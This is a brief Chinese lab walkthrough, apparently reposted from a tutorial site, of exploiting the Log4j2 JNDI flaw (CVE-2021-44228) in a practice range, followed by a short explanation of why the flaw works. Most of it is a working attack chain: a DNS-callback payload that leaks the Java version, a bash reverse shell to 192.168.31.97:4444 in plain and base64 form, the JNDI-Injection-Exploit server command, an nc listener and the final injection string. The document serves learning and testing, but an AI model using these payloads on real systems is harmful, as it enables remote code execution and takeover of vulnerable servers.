概述
打开靶场
先验证漏洞,申请一个dns地址
然后构造一个payload测试:
action=${jndi:ldap://${sys:java.version}.78dcebbf.dns.1433.eu.org}
验证了漏洞存在,下一步进行攻击,实现反弹shell。
反弹shell命令:bash -i >& /dev/tcp/192.168.31.97/4444 0>&1 这里需要进行一下编码,否则行不通YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjk3LzQ0NDQgMD4mMQ==
搭建服务:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjk3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.31.97"
另外启动监听:nc -lvvp 4444
action=${jndi:ldap://192.168.31.97:1389/yyza42}
拿到反弹shell。
总结
log4j2 是Apache的Java日志框架,用来管理日志。
框架默认支持解析Idap/rmi协议,并会通过名称从Idap服务端获取对应的class文件,并在本地加载ldap服务端返回的class类。攻击者可以在界面中传入一个含有恶意内容的ldap协议的内容,例如:${jndi:ldap://localhost:4444/Test}。该内容传递到后端被log4j2打印出来,触发恶意class的加载执行。
最后
以上就是沉默秋天为你收集整理的log4j(CVE-2021-44228)的全部内容,希望文章能够帮你解决log4j(CVE-2021-44228)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复